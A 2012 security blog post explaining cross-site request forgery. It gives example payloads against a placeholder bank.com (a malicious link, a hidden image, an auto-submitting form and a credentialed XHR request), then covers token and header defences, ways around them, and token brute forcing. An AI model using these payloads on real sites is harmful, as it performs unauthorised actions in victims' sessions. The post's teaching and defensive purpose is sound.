Thursday, 15 November 2012

Back to Basics: CSRF

I've recently been playing with client-side CSRF token brute forcing. It's cool stuff but for folks who aren't so hot on CSRF (or just need a refresher!) I thought I'd do a quick CSRF back to basics. As CSRF has been talked about a lot before I'm going to try and keep it brief covering some simple attacks and mitigations.

For a basic introduction the best place to start is OWASP:


In a nut shell, we are tricking a user into sending our malicious request to a remote server, using their already established session. This is usually possible because the structure and contents of a vulnerable request is known ahead of time and it's just a matter of creating the request and convincing a user to send it. Awesome, so we can perform actions as another user? Yep!


How do you actually launch a CSRF attack?

If the target site has a vulnerable page that is accessed using a GET request, all we need to do is create a webpage or email containing either a malicious link or image and trick the user into accessing it. The user will run the code and unknowingly send a malicious request to a third party site. From OWASP:

<a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a>

Or:

<img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="1" height="1" border="0">

For a vulnerable page that uses a POST request we can create a webpage with a form and some javascript to auto-submit it. When the user visits the page it will submit the request using their session cookie. The form "action" should link to the target site and the parameters should be identical to a legitimate request. 

<html>
<body>
    <form action="http://bank.com/Home/Transfer" method="post" name="badform">
        <input name="accountId" type="hidden" value="1234" />
        <input name="amount" type="hidden" value="1000" />
    </form>
<script type="text/javascript">
        document.badform.submit();
    </script>
</body>
</html>

The above examples can also be created using jquery or pure XHR, for example:

<script>
function xhrcsrf(){
var http = new XMLHttpRequest();
http.open(POST, "http://bank.com/transfer.php" , true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.withCredentials = "true";
http.onreadystatechange = function() {
 if(http.readyState == 4 && http.status == 200) {
  alert(http.responseText);
 }
}
http.send("accountID=1234&amount=1000");}
xhrcsrf();
</script>

To test these examples you probably want to install xampp on Windows or apache on Linux. And for a vulnerable page I used Debasish's simple profile.php and submit.php script here:



How to protect against CSRF?

CSRF relies on the static nature of requests and the ability to send cross domain requests. By making requests unique and checking where they originate from you can easily prevent CSRF.

To make requests unique commonly a random value, or token, is included as a parameter. An attacker will not know this value ahead of time and will be unable to craft a static malicious page that can send a valid request.

For example a unique token could be generated server-side using the current time, a secret key value and a complex math function. This value is returned when the user loads a page on a site and is submitted with all requests back to the server. Assuming everything else is secure, there is no way for the attacker to know this token without knowing the underlying token generation algorithm.

Below is a status update to Facebook. I've circled the token they use to prevent CSRF.


The other protection mechanism I mentioned was sender verification. To verify the source of the request the receiving page can inspect the Referrer or Origin header of the request. A simple check would verify that the request came from your legitimate domain and not from another site (cross-domain). 

There's a great article about CSRF protections that is far more in-depth here:



How to get around CSRF protections?

This is where things get a bit tricky. If a site is checking the Origin or Referrer header of your requests you're stuck. Browsers set these headers and unless you can modify the traffic leaving the browser (malicious extension?) or on the wire (mitm), then there is no way to tackle this.

EDIT: I was actually wrong about this. Kotowicz has some work arounds here: http://blog.kotowicz.net/2011/10/stripping-referrer-for-fun-and-profit.html


Chrome added these headers.

One exception is if you can include your code somewhere on the target site, e.g. XSS, which can be leveraged for CSRF.

So what about tokens? If implemented correctly they work perfectly well and will prevent CSRF attacks. However, quite often tokens are not implemented correctly allowing us to bypass the token check or possibly brute force the token. For example:


One missed token check and you have a serious CSRF vulnerable (as well as a $5000 payout :D).


Can you brute force the token?

It depends on the entropy (complexity) of the token. You need to analyse it's length, character set, does it repeat, are there any static characters, are there relationships between characters, all of these factors determine it's entropy (Burp Sequencer can help with analysis). If a token has a high level of entropy there will be too many possible combinations and it will take too long to brute force. You also need to think about other more practical issues such as latency, which could make the attack unfeasible, or server-side lock outs. Five failed attempts and you get locked out? Brute force ain't gonna work but denial of service will :)

One of the best tools for brute forcing tokens is Burp Suite Repeater as it allows you to send a large number of requests iterating through token values until you find the correct one. Its quick and easy but requires you to have a valid cookie.

What if you don't have the target user's cookie? That's where client-side brute forcing comes in! :)


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In my next post I'm going to continue with the CSRF theme and look at some interesting client-side CSRF token brute forcing examples.

Feedback and comments are always appreciated, feel free to leave a message below.

Cheers,

PwnDizzzzzle

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